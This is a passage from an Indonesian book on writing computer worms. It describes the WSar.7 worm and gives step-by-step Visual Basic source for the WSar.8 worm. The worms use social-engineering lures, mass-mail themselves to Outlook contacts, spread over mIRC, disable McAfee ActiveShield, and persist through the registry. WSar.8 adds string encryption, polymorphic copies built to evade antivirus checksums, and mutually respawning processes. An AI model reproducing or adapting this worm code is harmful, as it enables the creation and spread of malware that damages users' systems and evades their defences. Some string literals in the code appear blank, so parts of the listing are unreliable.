("scripting.filesystemobject") tmpfolder = kiddie.GetSpecialFolder(2) Deltree(tmpfolder) MsgBox("WSar.7 Ada Pada Komputer Anda", vbExclamation) End Sub Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

Berikut penjelasan tentang kode program: Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mematikan proses sistem operasi Windows, function API untuk mendapatkan status koneksi Internet dan function untuk mendapatkan direktori Windows dan direktori System Windows. Saat form di-load, worm memeriksa path file utama, jika file utama tidak berada pada folder System Windows maka worm akan membuka aplikasi Notepad yang merupakan suatu upaya rekayasa sosial. Hal ini berkaitan dengan icon file txt yang digunakan worm, sehingga user akan percaya jika yang dieksekusinya ternyata adalah file text yang kosong.

203

Jasakom

Bab 13. Worm WSar.7

Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4 dan module mdlWinForce menggunakan module yang sama pada WSar.5

Computer Worm 1 - Secret of Underground Coding : Uncensored

Kemudian worm akan memeriksa keberadaan aplikasi McAfee VirusScan dengan mengambil salah satu dari nilai registry yang dibuat oleh aplikasi tersebut. Jika ditemukan maka worm akan memanggil procedure McAfee_MyFriend, worm juga memanggil procedure InfectSystem dan procedure mIrc. Procedure cmdSend_Click adalah procedure yang akan dijalankan saat user mengklik tombol Send Error Report pada form yang ditampilkan. Procedure ini membuat form disembunyikan, menampilkan sebuah kotak pesan berupa teks "System will scan your outlook files including your address book for some reason, you may see the Outlook confirmation dialog, please allow access and click yes in confirmation box. Thanks for your contribution - Microsoft Windows Team" dengan caption yang berbunyi "MICROSOFT WINDOWS TEAM - PLEASE READ THIS", dan saat user mengklik tombol OK pada kotak pesan tersebut worm kemudian memanggil procedure InfectMail. Procedure InfectSystem akan membuat salinan worm pada folder Windows dengan nama file wintweak.exe dan pada folder Sytem Windows dengan nama file KERNE132.EXE, kemudian memanipulasi registry agar file kerne132.exe akan aktif saat Windows startup. Worm juga memanipulasi registry dengan tujuan agar Windows Explorer tidak menampilkan ekstensi exe walaupun user menghilangkan seleksi pada opsi Hide extensions for known file types pada Folder Options. Sehingga nama worm tetap terlihat berekstensi txt, contohnya mystery.txt dan readme.txt. Bab 13. Worm WSar.7 Procedure tmrSpreading_Timer akan memanggil procedure InfectFloppy jika satu angka disebelah kanan pada menit sekarang menunjukan nilai 2 atau 8 dan detik menunjukan nilai 13. Kemudian menampilkan form jika system terhubung ke internet dan jika menit sekarang menunjukan nilai 1 atau 31 dan detik menunjukan nilai 13. Procedure InfectFloppy membuat data array yang memuat 10 nama file worm yang akan disalinkan ke disket. Worm kemudian memeriksa apakah file worm sudah ada pada disket atau tidak dengan memeriksa file yang berakhiran "txt. exe". Jika tidak ditemukan maka worm akan membuat salinan ke disket dengan salah satu nama file yang diambil secara acak.

Jasakom

204

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Procedure InfectMail akan mengirimkan sebuah e-mail untuk setiap alamat yang ada pada MS Outlook address book dengan subjek: wintweak yyyy (tahun depan), body: Heres a file that will tweak your windows more faster..., dan sebuah file attachment yang merupakan file worm dengan nama wintweak.exe dan berada pada folder Windows. Procedure mIrc akan memeriksa keberadaan aplikasi mIRC dengan mencari suatu nilai pada registry yang sekaligus akan mengembalikan nilai berupa path aplikasi tersebut, kemudian membuat salinan worm ke folder Windows dengan nama wintweak.exe. Worm juga membuat file bernama script.ini yang merupakan file konfigurasi aplikasi mIRC, dengan manipulasi konfigurasi ini worm akan memberikan salam dan menawarkan suatu file (wintweak.exe) yang terlihat berguna untuk meningkatkan performa komputer, dengan kalimat-kalimat sebagai berikut: 1. Hello.. heres a file that will tweak your windows more faster... 2. Hello.. heres a file that will increase your computer memory up to 64 MB... 3. Hello.. heres a file that will increase your VGA Card memory... Procedure McAfee_MyFriend bertugas untuk memanipulasi registry untuk menonaktifkan semua opsi tab ActiveShield pada kotak dialog Options dan semua opsi pada kotak dialog Advanced ActiveShield Options. Selain itu, worm juga akan menyembunyikan tab ActiveShield pada kotak dialog Options. Procedure tmrIseng_Timer akan mencetak suatu kalimat pada printer jika menit menunjukan nilai 30 dan detik menunjukan nilai 1. Adapun kalimat yang dicetak akan terlihat sebagai berikut: Bab 13. Worm WSar.7

WSAR.7 WAS HERE


B RING T HE T RUT H T O YOUR HO ME

205

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Pada tanggal 13 Oktober, worm akan memanggil procedure PayLoad. Procedure Form_Terminate akan dijalankan jika user menghentikan proses worm dengan menggunakan suatu program (seperti program antivirus ) atau melalui Task Manager. Procedure ini akan mengeksekusi kembali file worm dan berusaha untuk me-restart komputer dengan menggunakan function API ExitWindowsEx, penulis akan memberikan metode turn off yang lebih baik pada WSar selanjutnya. Procedure tmrWinForce_Timer akan menutup setiap aplikasi yang pada caption-nya memuat kata task, find, search, run, reg atau config. Procedure Payload akan menghapus folder dan seluruh sub folder pada direktori Temp. Kemudian menampilkan sebuah kotak pesan yang berbunyi "WSar.7 Ada Pada Komputer Anda" Module mdlDeltree berisi suatu rangkaian instruksi dan membentuk suatu function yang berguna untuk menghapus folder dan sub folder beserta file yang ada didalamnya, function ini hampir mirip dengan perintah deltree pada perintah eksternal Shell DOS.

Bab 13. Worm WSar.7


Jasakom

206

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 14 WORM WSar.8

eorang worm writer dengan nickname [K]alamar pernah membuat suatu script menggunakan bahasa pemrograman Visual Basic Script (VBS) yang kemudian terkenal dengan istilah "Anti Deletion Methode", suatu metode yang menyulitkan user untuk menghapus file worm. Melalui WSar.8 penulis akan mendemonstrasikan metode ini dengan teknik yang berbeda dan dikembangkan sehingga bisa digunakan pada bahasa pemrograman Visual Basic serta file worm lebih sulit untuk dihapus. Bab 14. Worm WSar.8 Selain itu WSar.8 juga menggunakan teknik yang umumnya digunakan worm modern, seperti teknik encryption dan polymorphic. Uniknya worm ini ditambahkan suatu rutin yang akan membasmi varian worm lokal Pesin dan Kangen jika ditemukan pada system komputer yang sama. Metode ini hampir sama dengan metode yang digunakan oleh RontokBro, suatu worm lokal Indonesia lainnya yang muncul dipertengahan tahun 2005.

207

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

14.1 WATCHER METHODE


Metode Watcher adalah suatu metode yang membentuk suatu rangkaian program yang saling mengawasi satu sama lainnya, tidak hanya mengawasi keberadaan program tetapi juga mengawasi hal lain seperti suatu konfigurasi, keberadaan atau ketidakadaan suatu hal atau mengawasi suatu kejadian tertentu. Metode ini penulis gunakan pada WSar.8 sebagai pengganti metode Anti Deletion. WSar.8 saat menginfeksi suatu system akan membuat salinan dirinya pada direktori System Windows dengan nama WINWORD.EXE dan langsung mengeksekusi file tersebut. Saat tereksekusi, file WINWORD.EXE akan memeriksa apakah pada direktori Windows terdapat file SPOOL32.EXE dan apakah file tersebut sedang aktif, jika tidak maka WINWORD.EXE akan membuat salinan dirinya ke direktori Windows dengan nama file SPOOL32.EXE dan langsung mengeksekusinya. Saat tereksekusi file SPOOL32.EXE akan kembali memeriksa apakah pada direktori System Windows terdapat file dengan nama WINWORD.EXE dan apakah file tersebut sedang aktif. Jika tidak maka SPOOL32.EXE akan membuat salinan dirinya ke direktori System Windows dengan nama file WINWORD.EXE dan langsung mengeksekusinya. Demikian proses tersebut berulang secara berkesinambungan, sehingga jika salah satu proses file tersebut dihentikan maka file lainnya akan membuat salinan yang baru dan langsung mengeksekusinya, sehingga kedua file tersebut terlihat seperti tidak bisa dihapus. Dengan metode yang sama WSar.8 melakukan pemeriksaan terhadap registry yang dibuatnya, jika data registry terhapus, secara otomatis WSar.8 akan membuat kembali data registry tersebut. Bab 14. Worm WSar.8

Jasakom

208

Computer Worm 1 - Secret of Undeground Coding : Uncensored

14.2 ENCRYPTION METHODE


Encryption Methode atau metode enkripsi adalah suatu metode yang mengubah suatu kode yang mudah dimengerti menjadi sulit untuk dimengerti. Proses enkripsi secara umum dapat digambarkan sebagai berikut:

Plain text disini adalah teks atau pesan awal yang masih mudah untuk dimengerti, kemudian melalui suatu proses yang disebut enkripsi maka dengan suatu algoritma tertentu teks tersebut diubah sehingga sulit untuk dimengerti (cipher text). Untuk mengubah kembali cipher text maka dilalui lagi suatu proses yang disebut dekripsi dengan menggunakan kebalikan dari algoritma enkripsi, perhatikan gambar berikut ini: Bab 14. Worm WSar.8 Gambar diatas adalah suatu contoh proses enkripsi dan dekripsi dengan

209

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

algoritma menambahkan satu untuk enkripsi dan sebagai kebalikannya dengan mengurangi satu untuk proses deskripsi, sehingga untuk proses enkripsi huruf D akan menghasilkan E, A akan menghasilkan B, R menghasilkan S, M menghasilkan N dan L akan menghasilkan M. Untuk proses dekripsi huruf E akan menghasilkan D, B menghasilkan A, S menghasilkan R, N menghasilkan M dan M akan menghasilkan L. Algoritma proses enkripsi dan dekripsi tidak terbatas pada proses pertambahan dan pengurangan saja, tetapi juga pada perkalian, pembagian dan dapat berupa kombinasi dari operator-operator aritmatik lainnya. Enkripsi diatas adalah salah satu metode Substitution Cipher. Metode ini tergolong paling sederhana, mudah digunakan dan juga mudah untuk dipecahkan. Namun demikian dalam rangka menyulitkan penganalisaan maka pada WSar.8, algoritma yang digunakan dibagi menjadi 3 bagian, yaitu: 1. Karakter ascii 65 hingga 90, ditambahkan dengan 127 sehingga karakter 65 menjadi karakter 192, 66 menjadi 193 dan seterusnya 2. Karakter ascii 97 hingga 122, ditambahkan dengan 121 sehingga karakter 97 menjadi karakter 218, 98 menjadi 219 dan seterusnya 3. Karakter ascii 48 hingga 57, ditambahkan dengan 196 sehingga karakter 48 menjadi karakter 244, 49 menjadi 245 dan seterusnya, untuk lebih jelasnya perhatikan tabel ascii pada halaman 211 berikut ini: Bab 14. Worm WSar.8
Jasakom

210

Computer Worm 1 - Secret of Undeground Coding : Uncensored

211

Jasakom

Bab 14. Worm WSar.8

Computer Worm 1 - Secret of Underground Coding : Uncensored

Dengan algoritma tersebut maka plain text "Achmad Darmal" akan menjadi cipher text " ".

Berikut ini adalah gambar saat worm WSar.8 yang tidak terenkripsi (kiri) dan terenkripsi (kanan) di buka pada suatu aplikasi hex editor.

Bisa Anda bayangkan jika lokasi suatu nilai registry yang dibuat dan sangat dirahasiakan dapat diketahui dengan mudah, hanya dengan melihat body program yang tidak terenkripsi. Bab 14. Worm WSar.8

14.3 POLYMORPHIC METHODE


Metode polymorphic adalah suatu metode yang membuat file program worm atau virus berubah setiap penginfeksian. Berubah disini bisa berupa perubahan pada isi program maupun ukuran program tersebut. Metode polymorphic biasanya digunakan worm atau virus untuk menghindari scanning dari antivirus yang umumnya menggunakan metode checksum dalam mengenali worm atau virus.

Jasakom

212

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Pada WSar.8, penulis membuat suatu function dengan nama PolyCopy yang penggunaannya hampir sama dengan function FileCopy, hanya saja function ini akan mengubah beberapa byte tertentu pada file tujuan. Byte yang dapat diubah umumnya tidak akan menimbulkan bugs apapun pada program asli, sebagai contoh berikut ini adalah tampilan worm WSar.8 saat dibuka dengan menggunakan suatu aplikasi hex editor.

Apabila pesan ini diubah maka tidak akan menciptakan bugs baru pada kode program, kecuali menampilkan pesan baru hasil perubahan jika dieksekusi pada DOS mode. Saat belum dilakukan perubahan program ini memiliki nilai crc32 "8E9F13A1", namun setelah dilakukan perubahan dengan mengganti huruf "e" pada byte ke 115 menjadi huruf "y" maka nilai crc32 program tersebut berubah menjadi "E247760C". Hal ini membuktikan bahwa perubahan apapun pada body program akan mengubah nilai checksum program tersebut.

213

Jasakom

Bab 14. Worm WSar.8

Pada byte ke 78 sampai dengan byte ke 115 terdapat string "This program cannot be run in DOS mode". String ini adalah suatu pesan yang akan ditampilkan apabila user mencoba untuk mengeksekusi program tersebut pada DOS mode.

Computer Worm 1 - Secret of Underground Coding : Uncensored

Perlu Anda ketahui bukan hanya string diatas saja yang dapat diubah tanpa menciptakan suatu bug baru, tetapi sesungguhnya sepanjang kode program banyak terdapat string seperti itu, misalnya informasi Company Name, Product Name, File Version, Product Version atau Internal Name yang biasanya selalu ada pada setiap program yang terkompilasi dengan bahasa pemrograman visual.

Catatan: Mengubah suatu file menggunakan hex editor cenderung merusak program utama, untuk itu jangan menambah atau mengurangi byte pada body program, perubahan pada string hendaklah disesuaikan dengan jumlah string yang memungkinkan untuk diubah, dan selalu siapkan backup untuk program yang akan diubah

14.4 ALGORITMA
WSar.8 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Pada nama program utama tertentu worm akan menyembunyikan aplikasi file worm dari task list 3. Membuka aplikasi MS Word dengan teks beranimasi lengkap saat user mengeksekusinya 4. Menginfeksi system dengan membuat salinan worm pada folder Windows, System Windows dan langsung mengeksekusinya, kemudian memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup 5. Membuat salinan pada setiap direktori yang aktif pada aplikasi Windows Explorer dengan menggunakan function polycopy

Bab 14. Worm WSar.8

Jasakom

214

Computer Worm 1 - Secret of Undeground Coding : Uncensored

6. Dampak lain yang ditimbulkan adalah membuat animasi pointer mouse yang memantul disekitar layar selama 8 detik setiap menitnya 7. Menghapus infeksi dari worm lokal lainnya, yaitu worm Pesin dan Kangen 8. Pada tanggal 13 Oktober, worm akan me-restart komputer dengan menggunakan metode sendkeys.

14.5 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, dan Application Title menjadi 'Document1 Microsoft Word. Salah satu function pada module mdlDir memiliki referensi pada Microsoft Shell Controls And Automation, sehingga kita terlebih dahulu harus membuat project mengacu pada file tersebut dengan cara: 1. Klik Project pada menubar, dan pilih References. 2. Pada kotak dialog References, beri seleksi pada opsi Microsoft Shell Controls And Automation, kemudian klik OK. Kemudian tambahkan 1 buah object ListBox, 4 buah object Timer dan 7 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut: Properti object Form1 Jenis
Name BorderStyle ControlBox Icon ShowInTaskbar Visible

Nilai
frmWSar8 None False (Icon) False False

Keterangan
Mengatur nama form menjadi frmWSar8 Tidak memberikan garis tepi pada form Tidak menampilkan ControlBox pada form Pilih icon yang akan digunakan pada form, WSar.8 menggunakan icon word.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar.

215

Jasakom

Bab 14. Worm WSar.8

Computer Worm 1 - Secret of Underground Coding : Uncensored

Properti object Timer1 Jenis


Name Enable Interval

Nilai
tmrDir False 1000

Keterangan
Mengatur nama Timer menjadi tmrDir Pastikan Timer tidak aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Properti object Timer2 Jenis


Name Enable Interval

Nilai
tmrIseng False 1

Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer tidak aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.001 detik

Properti object Timer3 Jenis


Name Enable Interval False 1000

Nilai
tmrSPOOL32

Keterangan
Mengatur nama Timer menjadi tmrSPOOL32 Pastikan Timer tidak aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Properti object Timer4 Jenis


Name Enable Interval

Nilai
tmrWINWORD False 1000

Keterangan
Mengatur nama Timer menjadi tmrWINWORD Pastikan Timer tidak aktif saat form diload Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Bab 14. Worm WSar.8

Properti object List1 Jenis


Name

Nilai
lstDir

Keterangan
Mengatur nama ListBox menjadi lstDir

Jasakom

216

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Properti Module1 Jenis


Name

Nilai
mdlCrypt

Keterangan
Mengatur nama module menjadi mdlCrypt

Properti Module2 Jenis


Name

Nilai
mdlDir

Keterangan
Mengatur nama module menjadi mdlDir

Properti Module3 Jenis


Name

Nilai
mdlRegistryAPI

Keterangan
Mengatur nama module menjadi mdlRegistryAPI

Properti Module4 Jenis


Name

Nilai
mdlRestart

Keterangan
Mengatur nama module menjadi mdlRestart

Properti Module5 Jenis


Name

Nilai
mdlWildMouse

Keterangan
Mengatur nama module menjadi mdlWildMouse

Jenis
Name

Nilai
mdlWinCheck

Keterangan
Mengatur nama module menjadi mdlWinCheck

Properti Module7 Jenis


Name

Nilai
mdlWinExit

Keterangan
Mengatur nama module menjadi mdlWinExit

217

Jasakom

Bab 14. Worm WSar.8

Properti Module6

Computer Worm 1 - Secret of Underground Coding : Uncensored

Ketik kode program berikut ini pada module mdlCrypt:


Option Explicit On Public Function Encrypt(ByVal TextInput As String) As String Dim NewLen As Integer Dim NewTextInput As String Dim NewChar As String Dim i As Integer NewChar = "" NewLen = Len(TextInput) For i = 1 To NewLen NewChar = Mid(TextInput, i, 1) Select Case Asc(NewChar) Case 65 To 90 NewChar = Chr(Asc(NewChar) + 127) Case 97 To 122 NewChar = Chr(Asc(NewChar) + 121) Case 48 To 57 NewChar = Chr(Asc(NewChar) + 196) Case 32 NewChar = Chr(32) End Select NewTextInput = NewTextInput + NewChar Next Encrypt = NewTextInput End Function Public Function Decrypt(ByVal TextInput As String) As String Dim NewLen As Integer Dim NewTextInput As String Dim NewChar As String Dim i As Integer NewChar = "" NewLen = Len(TextInput) For i = 1 To NewLen NewChar = Mid(TextInput, i, 1) Select Case Asc(NewChar) Case 192 To 217 NewChar = Chr(Asc(NewChar) - 127) Case 218 To 243 NewChar = Chr(Asc(NewChar) - 121) Case 244 To 253 NewChar = Chr(Asc(NewChar) - 196) Case 32 NewChar = Chr(32) End Select NewTextInput = NewTextInput + NewChar Next Decrypt = NewTextInput End Function

Bab 14. Worm WSar.8

Jasakom

218

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Ketik kode program berikut ini pada module mdlDir:


Private Enum FileParts ExtOnly NameOnly NameExt PathOnly End Enum Private Function FilePart(ByVal FullPath As String, Optional ByVal WhichPart _ As FileParts = NameOnly) As String Dim lArray As Object Select Case WhichPart Case ExtOnly If InStr(FullPath, ".") Then lArray = Split(FullPath, ".") FilePart = lArray(UBound(lArray)) End If Case NameOnly, NameExt lArray = Split(FullPath, "\") FilePart = lArray(UBound(lArray)) If WhichPart = NameOnly Then lArray = Split(FilePart, ".") FilePart = lArray(LBound(lArray)) End If Case PathOnly Dim lFileName As String lFileName = FilePart(FullPath, NameExt) FilePart = Replace(FullPath, lFileName, "") End Select End Function Public Function GetDir(ByVal List As ListBox) On Error Resume Next Dim stra As String Dim objShell32 As New Shell32.Shell Dim objWindows As Object Dim lngCounter As Long objWindows = objShell32.Windows List.Clear() For Each objWindows In objShell32.Windows stra = ChangeAll(Mid(objWindows.LocationURL, 9, Len _ (objWindows.LocationURL) - 8), "/", "\") stra = ChangeAll(stra, "%20", " ") stra = ChangeAll(stra, "%7b", "{") stra = ChangeAll(stra, "%7d", "}") stra = ChangeAll(stra, "%5b", "[") stra = ChangeAll(stra, "%5d", "]") stra = ChangeAll(stra, "%60", "`") stra = ChangeAll(stra, "%23", "#") stra = ChangeAll(stra, "%25", "%") stra = ChangeAll(stra, "%5e", "^") stra = ChangeAll(stra, "%26", "&")

219

Jasakom

Bab 14. Worm WSar.8

Computer Worm 1 - Secret of Underground Coding : Uncensored

Next objWindows = Nothing objShell32 = Nothing End Function

If Left(Right(stra, 4), 1) = "." Or Left(Right(stra, 3), 1) = _ "." Then stra = FilePart(stra, PathOnly) End If If Right(stra, 1) <> "\" Then stra = stra & "\" End If If Mid(stra, 2, 2) = ":\" Then List.AddItem(stra) End If

Private Function ChangeAll(ByVal Source As String, ByVal Search As _ String, ByVal Restring As String) As String Dim hitung As Integer hitung = Len(Replace(Source, Search, Search & "*")) - Len(Source) ChangeAll = Replace(LCase(Source), Search, Restring, 1, hitung) End Function

Ketik kode program berikut ini pada module mdlRestart:


'Contoh penggunaan fungsi SendKeys Option Explicit On Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds _ As Long) Public Declare Sub keybd_event Lib "user32" (ByVal bVk _ As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal _ dwExtraInfo As Long) Public Declare Function MapVirtualKey Lib "user32" Alias _ "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType _ As Long) As Long Public Const KEYEVENTF_KEYUP = &H2 Public Const VK_CONTROL = &H11 Public Const VK_ESCAPE = &H1B Public Const VK_R = &H52 Public Const VK_TAB = &H9 Public Const VK_SPACE = &H20 Public Const VK_UP = &H26 Public Const VK_RETURN = &HD Public Function Restart() Dim aba, baa, aab As Integer Dim bab, bba, abb As Integer Dim abc As Integer aab = MapVirtualKey(VK_UP, 0) aba = MapVirtualKey(VK_CONTROL, 0) baa = MapVirtualKey(VK_ESCAPE, 0)

Bab 14. Worm WSar.8

Jasakom

220

Computer Worm 1 - Secret of Undeground Coding : Uncensored

bab = MapVirtualKey(VK_R, 0) bba = MapVirtualKey(VK_TAB, 0) abb = MapVirtualKey(VK_SPACE, 0) abc = MapVirtualKey(VK_RETURN, 0) keybd_event(VK_CONTROL, aba, 0, 0) keybd_event(VK_ESCAPE, baa, 0, 0) keybd_event(VK_CONTROL, aba, KEYEVENTF_KEYUP, 0) keybd_event(VK_ESCAPE, baa, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_UP, aab, 0, 0) keybd_event(VK_UP, aab, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_RETURN, abc, 0, 0) keybd_event(VK_RETURN, abc, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_R, bab, 0, 0) keybd_event(VK_R, bab, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_TAB, bba, 0, 0) keybd_event(VK_TAB, bba, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_SPACE, abb, 0, 0) keybd_event(VK_SPACE, abb, KEYEVENTF_KEYUP, 0) Sleep(0) End Function

Ketik kode program berikut ini pada module mdlWildMouse:


Option Explicit On Private Declare Function SetCursorPos Lib "user32" (ByVal X As _ Long, ByVal Y As Long) As Long Private Declare Function GetCursorPos Lib "user32" (ByVal lpPoint As _ POINTAPI) As Long Private Type POINTAPI X As Long Y As Long End Type Dim XState As Integer Dim YState As Integer Public Sub WildMouse(ByVal value As Boolean) If value = False Then Exit Sub Const Speed As Integer = 10 Dim ptCurrentPosition As POINTAPI Call GetCursorPos(ptCurrentPosition) If XState = 0 Then If (ptCurrentPosition.X + 1) >= (Screen.Width \ _ Screen.TwipsPerPixelX) Then ptCurrentPosition.X = ptCurrentPosition.X - Speed XState = 1 Else ptCurrentPosition.X = ptCurrentPosition.X + Speed End If

221

Jasakom

Bab 14. Worm WSar.8

Computer Worm 1 - Secret of Underground Coding : Uncensored


Else

If ptCurrentPosition.X <= 0 Then ptCurrentPosition.X = ptCurrentPosition.X + Speed XState = 0 Else ptCurrentPosition.X = ptCurrentPosition.X - Speed End If End If If YState = 0 Then If (ptCurrentPosition.Y + 1) >= (Screen.Height \ _ Screen.TwipsPerPixelY) Then ptCurrentPosition.Y = ptCurrentPosition.Y - Speed YState = 1 Else ptCurrentPosition.Y = ptCurrentPosition.Y + Speed End If Else If ptCurrentPosition.Y <= 0 Then ptCurrentPosition.Y = ptCurrentPosition.Y + Speed YState = 0 Else ptCurrentPosition.Y = ptCurrentPosition.Y - Speed End If End If Call SetCursorPos(ptCurrentPosition.X, ptCurrentPosition.Y) End Sub

Ketik kode program berikut ini pada module mdlWinCheck:


Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" _ (ByVal lFlags As Long, ByVal lProcessID As Long) As Long Private Declare Function Process32First Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As Long Private Declare Function Process32Next Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As Long Private Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Private Declare Function TerminateProcess Lib "kernel32" (ByVal _ hProcess As Long, ByVal uExitCode As Long) As Long Private Const TH32CS_SNAPPROCESS As Long = 2& Private Const MAX_PATH As Integer = 260 Private Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * MAX_PATH End Type

Bab 14. Worm WSar.8

Jasakom

222

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Public Function WinCheck(ByVal sExeNam As String) As Boolean Dim lLng As Long, lA As Long, lExCode As Long Dim procObj As PROCESSENTRY32 Dim hSnap As Long Dim lRet As Long hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&) procObj.dwSize = Len(procObj) lRet = Process32First(hSnap, procObj) Do While Process32Next(hSnap, procObj) If InStr(1, LCase(procObj.szExeFile), LCase(sExeNam$)) > 0 Then WinCheck = True Exit Do Else WinCheck = False End If Loop End Function

Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, dan module mdlWinExit menggunakan module yang sama pada WSar.6. Tahap selanjutnya adalah mengetik kode program pada object frmWSar8, namun sebelumnya untuk mendapatkan suatu string terenkripsi (cipher text) dapat dilakukan dengan cara berikut ini: 1. Pastikan Anda sudah membuat module mdlCrypt 2. Aktifkan Immediate Window dengan cara menekan kombinasi tombol Ctrl+G 3. Pada jendela Immediate, ketik perintah berikut ini: Bab 14. Worm WSar.8
print encrypt("plain text")

Contoh, untuk mendapatkan cipher text dari string "Worm Komputer" dapat menggunakan perintah berikut ini
print encrypt("Worm Komputer")

4. Selanjutnya Anda tinggal copy paste pada jendela Code.

223

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Setelah itu, silahkan ketik kode program berikut ini pada object frmWSar8:
'WSar.8 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Sub WormFighter() On Error Resume Next 'Pesin removal If Dir(SpecialFolder(1) & Decrypt("\.")) <> "" Then WinExit(Decrypt("\.")) Kill(SpecialFolder(1) & Decrypt("\.")) MsgBox(Decrypt(" !"), _ vbInformation, Decrypt(" ... ")) End If 'Kangen removal If Dir(SpecialFolder(1) & Decrypt("\.")) <> "" Then WinExit(Decrypt("\.")) WinExit(Decrypt("\.")) Kill(SpecialFolder(1) & Decrypt("\.")) Kill(SpecialFolder(1) & Decrypt("\.")) Kill(SpecialFolder(1) & Decrypt("\.*")) MsgBox(Decrypt(" !"), _ vbInformation, Decrypt(" ... ")) End If End Sub

Bab 14. Worm WSar.8

Jasakom

224

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Private Sub OpenApp() On Error Resume Next Dim objWord As Object objWord = CreateObject("Word.Application") objWord.Visible = True objWord.Documents.Add() objWord.Selection.Font.Shadow = True objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Name = "Arial Black" objWord.Selection.Font.Size = 18 objWord.Selection.Font.Bold = True objWord.Selection.Font.Bold = True objWord.Selection.Font.Color = &HFF0000 objWord.Selection.Font.Animation = 2 objWord.Selection.Text = Decrypt _ (" ") objWord.Selection.MoveDown() objWord.Selection.Font.Animation = 0 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Size = 14 objWord.Selection.Font.Name = "Arial" objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Animation = 3 objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt(" ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &H80FF& objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = Decrypt(" ")

225

Jasakom

Bab 14. Worm WSar.8

Computer Worm 1 - Secret of Underground Coding : Uncensored

